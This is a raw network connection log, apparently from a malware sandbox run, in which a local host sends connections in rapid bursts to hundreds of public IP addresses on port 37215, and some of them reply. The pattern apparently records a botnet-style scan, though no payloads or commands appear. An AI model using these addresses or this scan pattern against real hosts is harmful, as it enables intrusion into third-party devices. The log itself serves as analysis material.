Nov 3, 2024 15:37:09.473267078 CET	34004	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:09.473283052 CET	34578	37215	192.168.2.14	156.141.170.57
Nov 3, 2024 15:37:09.473287106 CET	46518	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:09.473287106 CET	46518	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:09.473304987 CET	47092	37215	192.168.2.14	41.47.138.63
Nov 3, 2024 15:37:09.473304987 CET	47472	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:09.473304987 CET	47472	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:09.473320961 CET	48046	37215	192.168.2.14	156.47.73.123
Nov 3, 2024 15:37:09.473325014 CET	40958	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:09.473332882 CET	40958	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:09.473342896 CET	41530	37215	192.168.2.14	156.129.68.42
Nov 3, 2024 15:37:09.473351955 CET	36866	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:09.473351955 CET	36866	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:09.473365068 CET	37438	37215	192.168.2.14	197.91.20.246
Nov 3, 2024 15:37:09.473375082 CET	53832	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:09.473375082 CET	53832	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:09.473393917 CET	54404	37215	192.168.2.14	156.76.218.78
Nov 3, 2024 15:37:09.473400116 CET	59982	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:09.473400116 CET	59982	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:09.473416090 CET	60554	37215	192.168.2.14	41.9.116.67
Nov 3, 2024 15:37:09.473416090 CET	58278	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:09.473423958 CET	58278	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:09.473431110 CET	58848	37215	192.168.2.14	41.22.80.120
Nov 3, 2024 15:37:09.473440886 CET	58672	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:09.473440886 CET	58672	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:09.473455906 CET	59242	37215	192.168.2.14	41.221.110.157
Nov 3, 2024 15:37:09.473460913 CET	44078	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:09.473460913 CET	44078	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:09.473470926 CET	44648	37215	192.168.2.14	197.171.75.149
Nov 3, 2024 15:37:09.473481894 CET	51396	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:09.473481894 CET	51396	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:09.473500967 CET	51966	37215	192.168.2.14	41.197.181.19
Nov 3, 2024 15:37:09.473505974 CET	37230	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:09.473505974 CET	37230	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:09.473525047 CET	37800	37215	192.168.2.14	41.31.154.200
Nov 3, 2024 15:37:09.473525047 CET	39452	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:09.473536015 CET	39452	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:09.473551035 CET	40162	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:09.473551989 CET	40022	37215	192.168.2.14	197.194.225.205
Nov 3, 2024 15:37:09.473556042 CET	40162	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:09.473572016 CET	40732	37215	192.168.2.14	41.141.175.121
Nov 3, 2024 15:37:09.473572016 CET	40618	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:09.473572016 CET	40618	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:09.473589897 CET	41188	37215	192.168.2.14	156.163.205.82
Nov 3, 2024 15:37:09.473607063 CET	58774	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:09.473607063 CET	58774	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:09.473619938 CET	59344	37215	192.168.2.14	41.113.183.13
Nov 3, 2024 15:37:09.473628044 CET	46924	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:09.473628044 CET	46924	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:09.473649025 CET	47494	37215	192.168.2.14	41.88.60.157
Nov 3, 2024 15:37:09.473654985 CET	42944	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:09.473654985 CET	42944	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:09.473670959 CET	43514	37215	192.168.2.14	156.153.138.184
Nov 3, 2024 15:37:09.473670959 CET	34606	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:09.473685980 CET	34606	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:09.473696947 CET	35176	37215	192.168.2.14	156.72.242.56
Nov 3, 2024 15:37:09.473707914 CET	43014	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:09.473707914 CET	43014	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:09.473707914 CET	43584	37215	192.168.2.14	156.101.142.160
Nov 3, 2024 15:37:09.473723888 CET	41702	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:09.473723888 CET	41702	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:09.473741055 CET	42272	37215	192.168.2.14	197.179.50.29
Nov 3, 2024 15:37:09.473750114 CET	39282	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:09.473761082 CET	39282	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:09.473773003 CET	39852	37215	192.168.2.14	197.99.83.17
Nov 3, 2024 15:37:09.473783016 CET	50786	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:09.473783016 CET	50786	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:09.473798037 CET	51356	37215	192.168.2.14	41.183.212.5
Nov 3, 2024 15:37:09.473800898 CET	36138	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:09.473809958 CET	36138	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:09.473826885 CET	36708	37215	192.168.2.14	156.7.6.245
Nov 3, 2024 15:37:09.473826885 CET	38472	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:09.473836899 CET	38472	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:09.473849058 CET	39042	37215	192.168.2.14	156.92.251.97
Nov 3, 2024 15:37:09.473860025 CET	47528	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:09.473860025 CET	47528	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:09.473879099 CET	48098	37215	192.168.2.14	41.41.17.100
Nov 3, 2024 15:37:09.473881960 CET	34678	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:09.473896027 CET	34678	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:09.473906040 CET	35248	37215	192.168.2.14	41.47.45.181
Nov 3, 2024 15:37:09.473917007 CET	38458	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:09.473917007 CET	38458	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:09.473927975 CET	39028	37215	192.168.2.14	197.191.179.237
Nov 3, 2024 15:37:09.473932028 CET	53364	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:09.473932028 CET	53364	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:09.473954916 CET	53934	37215	192.168.2.14	41.186.69.216
Nov 3, 2024 15:37:09.473962069 CET	55280	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:09.473962069 CET	55280	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:09.473984957 CET	55850	37215	192.168.2.14	156.250.107.247
Nov 3, 2024 15:37:09.473984957 CET	36222	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:09.474001884 CET	36222	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:09.474010944 CET	36792	37215	192.168.2.14	197.19.105.218
Nov 3, 2024 15:37:09.474014044 CET	57694	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:09.474019051 CET	57694	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:09.474037886 CET	58264	37215	192.168.2.14	41.53.247.62
Nov 3, 2024 15:37:09.474042892 CET	59604	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:09.474052906 CET	59604	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:09.474065065 CET	60174	37215	192.168.2.14	41.233.241.218
Nov 3, 2024 15:37:09.474069118 CET	42180	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:09.474069118 CET	42180	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:09.474085093 CET	42750	37215	192.168.2.14	197.36.137.218
Nov 3, 2024 15:37:09.474104881 CET	33076	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:09.474104881 CET	33076	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:09.474117041 CET	33646	37215	192.168.2.14	41.20.17.178
Nov 3, 2024 15:37:09.474117041 CET	57102	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:09.474117041 CET	57102	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:09.474138975 CET	57672	37215	192.168.2.14	41.192.83.152
Nov 3, 2024 15:37:09.474143028 CET	48092	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:09.474143028 CET	48092	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:09.474164963 CET	48662	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:09.474164963 CET	60342	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:09.474164963 CET	60342	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:09.474168062 CET	60912	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:09.474181890 CET	51558	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:09.474183083 CET	51558	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:09.474188089 CET	52128	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:09.474198103 CET	38920	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:09.474198103 CET	38920	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:09.474215984 CET	39490	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:09.474215984 CET	54724	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:09.474235058 CET	54724	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:09.474241972 CET	55294	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:09.474252939 CET	39846	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:09.474252939 CET	39846	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:09.474265099 CET	40416	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:09.474271059 CET	38146	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:09.474271059 CET	38146	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:09.474287987 CET	38716	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:09.474291086 CET	53218	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:09.474291086 CET	53218	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:09.474309921 CET	53788	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:09.474313021 CET	54374	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:09.474323988 CET	54374	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:09.474335909 CET	54944	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:09.474348068 CET	48004	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:09.474348068 CET	48004	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:09.474368095 CET	48574	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:09.474370956 CET	45648	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:09.474370956 CET	45648	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:09.474374056 CET	46218	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:09.474389076 CET	37898	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:09.474391937 CET	38468	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:09.474389076 CET	37898	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:09.474399090 CET	46460	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:09.474399090 CET	46460	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:09.474416018 CET	47030	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:09.474426985 CET	37416	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:09.474426985 CET	37416	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:09.474442005 CET	37986	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:09.474452019 CET	57034	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:09.474452019 CET	57034	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:09.474455118 CET	57604	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:09.474473000 CET	45658	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:09.474473000 CET	45658	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:09.474473000 CET	46224	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:09.474483967 CET	42028	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:09.474483967 CET	42028	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:09.474499941 CET	42594	37215	192.168.2.14	41.115.87.47
Nov 3, 2024 15:37:09.474507093 CET	58442	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:09.474507093 CET	58442	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:09.474519968 CET	59008	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:09.474519968 CET	46676	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:09.474533081 CET	46676	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:09.474538088 CET	47242	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:09.474550962 CET	40892	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:09.474565983 CET	40892	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:09.474565983 CET	41458	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:09.474570036 CET	45506	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:09.474577904 CET	45506	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:09.474598885 CET	46070	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:09.474608898 CET	58986	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:09.474611044 CET	58422	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:09.474611044 CET	58422	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:09.474626064 CET	36828	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:09.474626064 CET	36828	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:09.474628925 CET	37390	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:09.474636078 CET	34444	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:09.474636078 CET	34444	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:09.474647999 CET	35006	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:09.474664927 CET	58394	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:09.474664927 CET	58394	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:09.474672079 CET	58956	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:09.474672079 CET	45990	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:09.474673033 CET	45990	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:09.474689007 CET	46550	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:09.474689007 CET	38904	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:09.474698067 CET	38904	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:09.474709034 CET	39464	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:09.474720955 CET	33800	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:09.474720955 CET	33800	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:09.474740028 CET	34358	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:09.474746943 CET	37540	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:09.474746943 CET	37540	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:09.474756956 CET	38098	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:09.474761009 CET	41986	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:09.474761009 CET	41986	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:09.474766016 CET	42538	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:09.474811077 CET	42430	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:09.474811077 CET	42430	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:09.474822044 CET	43192	37215	192.168.2.14	197.241.168.45
Nov 3, 2024 15:37:09.474823952 CET	59452	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:09.474847078 CET	59452	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:09.474850893 CET	60212	37215	192.168.2.14	41.158.29.151
Nov 3, 2024 15:37:09.474850893 CET	38298	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:09.474859953 CET	38298	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:09.474877119 CET	39046	37215	192.168.2.14	197.243.10.148
Nov 3, 2024 15:37:09.474879980 CET	42642	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:09.474879980 CET	42642	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:09.474901915 CET	43386	37215	192.168.2.14	156.224.87.198
Nov 3, 2024 15:37:09.474905968 CET	52630	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:09.474905968 CET	52630	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:09.474921942 CET	53370	37215	192.168.2.14	41.91.188.230
Nov 3, 2024 15:37:09.474926949 CET	35662	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:09.474936008 CET	35662	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:09.474946976 CET	36400	37215	192.168.2.14	197.19.217.137
Nov 3, 2024 15:37:09.474957943 CET	42406	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:09.474957943 CET	42406	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:09.474976063 CET	43142	37215	192.168.2.14	41.178.227.250
Nov 3, 2024 15:37:09.474977970 CET	43714	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:09.474977970 CET	43714	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:09.474987984 CET	44444	37215	192.168.2.14	156.225.171.173
Nov 3, 2024 15:37:09.475003004 CET	36684	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:09.475003004 CET	36684	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:09.475019932 CET	37400	37215	192.168.2.14	197.53.18.10
Nov 3, 2024 15:37:09.475019932 CET	47240	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:09.475019932 CET	47240	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:09.475040913 CET	47948	37215	192.168.2.14	156.184.33.107
Nov 3, 2024 15:37:09.475605965 CET	37215	35945	41.18.84.78	192.168.2.14
Nov 3, 2024 15:37:09.475656033 CET	35945	37215	192.168.2.14	41.18.84.78
Nov 3, 2024 15:37:09.475737095 CET	37215	51398	41.183.156.167	192.168.2.14
Nov 3, 2024 15:37:09.475775957 CET	51398	37215	192.168.2.14	41.183.156.167
Nov 3, 2024 15:37:09.476018906 CET	37215	41192	156.87.37.60	192.168.2.14
Nov 3, 2024 15:37:09.476027012 CET	37215	38502	41.43.89.156	192.168.2.14
Nov 3, 2024 15:37:09.476047039 CET	41192	37215	192.168.2.14	156.87.37.60
Nov 3, 2024 15:37:09.476052999 CET	37215	60452	197.122.28.224	192.168.2.14
Nov 3, 2024 15:37:09.476053953 CET	38502	37215	192.168.2.14	41.43.89.156
Nov 3, 2024 15:37:09.476085901 CET	60452	37215	192.168.2.14	197.122.28.224
Nov 3, 2024 15:37:09.476108074 CET	37215	45366	197.252.165.31	192.168.2.14
Nov 3, 2024 15:37:09.476151943 CET	45366	37215	192.168.2.14	197.252.165.31
Nov 3, 2024 15:37:09.476212025 CET	37215	42016	41.227.204.54	192.168.2.14
Nov 3, 2024 15:37:09.476246119 CET	42016	37215	192.168.2.14	41.227.204.54
Nov 3, 2024 15:37:09.476265907 CET	37215	57782	197.51.211.151	192.168.2.14
Nov 3, 2024 15:37:09.476298094 CET	57782	37215	192.168.2.14	197.51.211.151
Nov 3, 2024 15:37:09.476351023 CET	37215	60308	197.54.205.67	192.168.2.14
Nov 3, 2024 15:37:09.476380110 CET	60308	37215	192.168.2.14	197.54.205.67
Nov 3, 2024 15:37:09.476540089 CET	37215	41220	197.161.115.17	192.168.2.14
Nov 3, 2024 15:37:09.476557016 CET	37215	54374	156.255.233.107	192.168.2.14
Nov 3, 2024 15:37:09.476577997 CET	41220	37215	192.168.2.14	197.161.115.17
Nov 3, 2024 15:37:09.476583004 CET	37215	46676	197.237.82.82	192.168.2.14
Nov 3, 2024 15:37:09.476587057 CET	54374	37215	192.168.2.14	156.255.233.107
Nov 3, 2024 15:37:09.476603985 CET	37215	37540	156.33.248.119	192.168.2.14
Nov 3, 2024 15:37:09.476622105 CET	46676	37215	192.168.2.14	197.237.82.82
Nov 3, 2024 15:37:09.476635933 CET	37540	37215	192.168.2.14	156.33.248.119
Nov 3, 2024 15:37:09.476819038 CET	37215	48004	41.170.228.200	192.168.2.14
Nov 3, 2024 15:37:09.476847887 CET	37215	37416	197.163.97.84	192.168.2.14
Nov 3, 2024 15:37:09.476855993 CET	48004	37215	192.168.2.14	41.170.228.200
Nov 3, 2024 15:37:09.476878881 CET	37416	37215	192.168.2.14	197.163.97.84
Nov 3, 2024 15:37:09.476880074 CET	37215	57034	197.69.217.164	192.168.2.14
Nov 3, 2024 15:37:09.476913929 CET	57034	37215	192.168.2.14	197.69.217.164
Nov 3, 2024 15:37:09.477063894 CET	37215	33800	156.50.150.233	192.168.2.14
Nov 3, 2024 15:37:09.477072954 CET	37215	45648	41.63.131.123	192.168.2.14
Nov 3, 2024 15:37:09.477082014 CET	37215	37898	156.70.142.30	192.168.2.14
Nov 3, 2024 15:37:09.477092981 CET	37215	38146	156.170.219.169	192.168.2.14
Nov 3, 2024 15:37:09.477097988 CET	33800	37215	192.168.2.14	156.50.150.233
Nov 3, 2024 15:37:09.477098942 CET	45648	37215	192.168.2.14	41.63.131.123
Nov 3, 2024 15:37:09.477113962 CET	37898	37215	192.168.2.14	156.70.142.30
Nov 3, 2024 15:37:09.477117062 CET	38146	37215	192.168.2.14	156.170.219.169
Nov 3, 2024 15:37:09.477174997 CET	37215	45506	156.18.74.155	192.168.2.14
Nov 3, 2024 15:37:09.477210999 CET	45506	37215	192.168.2.14	156.18.74.155
Nov 3, 2024 15:37:09.477266073 CET	37215	53218	197.115.233.122	192.168.2.14
Nov 3, 2024 15:37:09.477308035 CET	53218	37215	192.168.2.14	197.115.233.122
Nov 3, 2024 15:37:09.477327108 CET	37215	45990	156.102.183.76	192.168.2.14
Nov 3, 2024 15:37:09.477360964 CET	45990	37215	192.168.2.14	156.102.183.76
Nov 3, 2024 15:37:09.477411985 CET	37215	58422	41.29.158.199	192.168.2.14
Nov 3, 2024 15:37:09.477447987 CET	58422	37215	192.168.2.14	41.29.158.199
Nov 3, 2024 15:37:09.477478981 CET	37215	51558	197.146.115.42	192.168.2.14
Nov 3, 2024 15:37:09.477508068 CET	51558	37215	192.168.2.14	197.146.115.42
Nov 3, 2024 15:37:09.477847099 CET	37215	38920	197.232.152.222	192.168.2.14
Nov 3, 2024 15:37:09.477857113 CET	37215	41220	197.161.115.17	192.168.2.14
Nov 3, 2024 15:37:09.477869987 CET	37215	41220	197.161.115.17	192.168.2.14
Nov 3, 2024 15:37:09.477879047 CET	38920	37215	192.168.2.14	197.232.152.222
Nov 3, 2024 15:37:09.477907896 CET	37215	58442	41.193.122.172	192.168.2.14
Nov 3, 2024 15:37:09.477917910 CET	37215	58394	156.35.224.164	192.168.2.14
Nov 3, 2024 15:37:09.477943897 CET	58442	37215	192.168.2.14	41.193.122.172
Nov 3, 2024 15:37:09.477943897 CET	58394	37215	192.168.2.14	156.35.224.164
Nov 3, 2024 15:37:09.477979898 CET	37215	34444	197.26.18.142	192.168.2.14
Nov 3, 2024 15:37:09.477988958 CET	37215	42016	41.227.204.54	192.168.2.14
Nov 3, 2024 15:37:09.477997065 CET	37215	42016	41.227.204.54	192.168.2.14
Nov 3, 2024 15:37:09.478012085 CET	34444	37215	192.168.2.14	197.26.18.142
Nov 3, 2024 15:37:09.478012085 CET	37215	57782	197.51.211.151	192.168.2.14
Nov 3, 2024 15:37:09.478077888 CET	37215	45658	41.62.171.184	192.168.2.14
Nov 3, 2024 15:37:09.478086948 CET	37215	57782	197.51.211.151	192.168.2.14
Nov 3, 2024 15:37:09.478095055 CET	37215	60308	197.54.205.67	192.168.2.14
Nov 3, 2024 15:37:09.478111029 CET	45658	37215	192.168.2.14	41.62.171.184
Nov 3, 2024 15:37:09.478111982 CET	37215	60308	197.54.205.67	192.168.2.14
Nov 3, 2024 15:37:09.478122950 CET	37215	60452	197.122.28.224	192.168.2.14
Nov 3, 2024 15:37:09.478127003 CET	37215	36828	41.148.99.160	192.168.2.14
Nov 3, 2024 15:37:09.478147030 CET	36828	37215	192.168.2.14	41.148.99.160
Nov 3, 2024 15:37:09.478184938 CET	37215	60452	197.122.28.224	192.168.2.14
Nov 3, 2024 15:37:09.478194952 CET	37215	60342	41.217.153.137	192.168.2.14
Nov 3, 2024 15:37:09.478199005 CET	37215	38502	41.43.89.156	192.168.2.14
Nov 3, 2024 15:37:09.478221893 CET	60342	37215	192.168.2.14	41.217.153.137
Nov 3, 2024 15:37:09.478247881 CET	37215	38502	41.43.89.156	192.168.2.14
Nov 3, 2024 15:37:09.478257895 CET	37215	41192	156.87.37.60	192.168.2.14
Nov 3, 2024 15:37:09.478269100 CET	37215	54724	41.52.246.8	192.168.2.14
Nov 3, 2024 15:37:09.478300095 CET	54724	37215	192.168.2.14	41.52.246.8
Nov 3, 2024 15:37:09.478378057 CET	37215	48092	197.105.148.66	192.168.2.14
Nov 3, 2024 15:37:09.478387117 CET	37215	41192	156.87.37.60	192.168.2.14
Nov 3, 2024 15:37:09.478394985 CET	37215	51398	41.183.156.167	192.168.2.14
Nov 3, 2024 15:37:09.478404045 CET	37215	51398	41.183.156.167	192.168.2.14
Nov 3, 2024 15:37:09.478414059 CET	37215	39846	197.168.30.174	192.168.2.14
Nov 3, 2024 15:37:09.478418112 CET	48092	37215	192.168.2.14	197.105.148.66
Nov 3, 2024 15:37:09.478451014 CET	37215	45366	197.252.165.31	192.168.2.14
Nov 3, 2024 15:37:09.478455067 CET	39846	37215	192.168.2.14	197.168.30.174
Nov 3, 2024 15:37:09.478460073 CET	37215	45366	197.252.165.31	192.168.2.14
Nov 3, 2024 15:37:09.478478909 CET	37215	46460	156.160.136.145	192.168.2.14
Nov 3, 2024 15:37:09.478488922 CET	37215	35842	156.83.90.144	192.168.2.14
Nov 3, 2024 15:37:09.478504896 CET	37215	41986	197.186.99.208	192.168.2.14
Nov 3, 2024 15:37:09.478508949 CET	46460	37215	192.168.2.14	156.160.136.145
Nov 3, 2024 15:37:09.478513002 CET	37215	50710	197.251.254.108	192.168.2.14
Nov 3, 2024 15:37:09.478542089 CET	41986	37215	192.168.2.14	197.186.99.208
Nov 3, 2024 15:37:09.478579998 CET	37215	59920	156.93.27.183	192.168.2.14
Nov 3, 2024 15:37:09.478589058 CET	37215	38904	41.15.89.96	192.168.2.14
Nov 3, 2024 15:37:09.478596926 CET	37215	40798	41.18.15.227	192.168.2.14
Nov 3, 2024 15:37:09.478615046 CET	38904	37215	192.168.2.14	41.15.89.96
Nov 3, 2024 15:37:09.478648901 CET	37215	45568	197.187.1.98	192.168.2.14
Nov 3, 2024 15:37:09.478658915 CET	37215	40892	41.9.123.205	192.168.2.14
Nov 3, 2024 15:37:09.478667974 CET	37215	52618	197.81.39.24	192.168.2.14
Nov 3, 2024 15:37:09.478686094 CET	40892	37215	192.168.2.14	41.9.123.205
Nov 3, 2024 15:37:09.478713989 CET	37215	57658	156.29.35.98	192.168.2.14
Nov 3, 2024 15:37:09.478723049 CET	37215	42028	41.115.87.47	192.168.2.14
Nov 3, 2024 15:37:09.478730917 CET	37215	33714	197.201.134.233	192.168.2.14
Nov 3, 2024 15:37:09.478744984 CET	42028	37215	192.168.2.14	41.115.87.47
